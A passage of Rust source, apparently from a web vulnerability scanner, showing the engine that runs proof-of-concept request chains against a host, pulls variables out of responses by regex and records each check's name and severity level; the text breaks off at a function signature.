333 | let mut pocs_iter = self.pocs.iter();
334 | for _ in 0..self.per_url_limit {
335 | if let Some(p) = pocs_iter.next() {
336 | ftrs.push(self.poc(&data.protocol,&data.host,data.port,p,data.status_code,&root_header,&root_body,favicon_hash));
337 | }
338 | }
339 | while let Some(rst) = ftrs.next().await {
340 | if let Some(p) = pocs_iter.next() {
341 | ftrs.push(self.poc(&data.protocol,&data.host,data.port,p,data.status_code,&root_header,&root_body,favicon_hash));
342 | }
343 | match rst {
344 | Some(r) => {
345 | if level < r.1 {
346 | level = r.1;
347 | }
348 | if !infos.contains(&r.0) {
349 | infos.push(r.0);
350 | }
351 | },
352 | None => {}
353 | }
354 | }
355 | data.level = level;
356 | data.infos = infos;
357 | }
358 | }
359 | Some(data)
360 | }
361 |
362 | async fn poc(&self,protocol:&str,host:&str,port:u16,poc:&Poc,root_status_code:u16,root_header:&str,root_body:&str,favicon_hash:Option) -> Option<(String,u8)> {
363 | let mut replace_v = None;
364 | for poc_req in poc.requests.iter() {
365 | let return_data = poc_req.variables_regex.is_some() && poc_req.variables_group.is_some();
366 | //println!("need return data {}",return_data); ///////////////////////
367 | let delay = poc_req.delay.unwrap_or(0); // millisecond
368 | if delay != 0 {
369 | async_std::task::sleep(Duration::from_millis(delay as u64)).await;
370 | };
371 | if let Some(data) = self.poc_request(protocol,host,port,poc_req, root_status_code, root_header, root_body, favicon_hash,&replace_v,return_data).await {
372 | //println!("return data {:?}",data); /////////////////////////////////////////////
373 | if let Some(data) = data { //return_data is true
374 | let mut tmp = HashMap::new();
375 | let regex_str = poc_req.variables_regex.as_ref().unwrap();
376 | let dot_all = poc_req.regex_dot_all.unwrap_or(false); //default false
377 | let mut regex_builder = RegexBuilder::new(regex_str);
378 | regex_builder.dot_matches_new_line(dot_all);
379 | if let Ok(vreg) = regex_builder.build() { //如果正则表达式是正确的
380 | if let Some(caps) = vreg.captures(&data) { //如果匹配正则
381 | let variables_groups = poc_req.variables_group.as_ref().unwrap();
382 | for (vname,index) in variables_groups {
383 | if let Some(rst) = caps.get(*index) { //如果在正则位置匹配到了内容
384 | tmp.insert(vname.as_str(), rst.as_str().to_string()); //将变量名称和匹配到的内容存放在hashmap。
385 | }
386 | }
387 | }
388 | };
389 | /*
390 | if tmp.is_empty() {
391 | replace_v = None;
392 | } else {
393 | replace_v = Some(tmp);
394 | }*/
395 | if replace_v.is_none() {
396 | replace_v = Some(tmp);
397 | } else {
398 | let mut_ref = replace_v.as_mut().unwrap();
399 | for (k,v) in tmp {
400 | mut_ref.insert(k, v);
401 | }
402 | }
403 | };
404 | } else {
405 | return None;
406 | }
407 | }
408 | let name = poc.name.clone();
409 | let level = poc.level.unwrap_or(1);
410 | return Some((name.to_string(),level));
411 | }
412 |
413 | async fn poc_request(&self,service:&str,host:&str,port:u16,poc_req:&PocRequest,root_status_code:u16,root_header:&str,root_body:&str,favicon_hash:Option,replace_variables:&Option>,return_data:bool) -> Option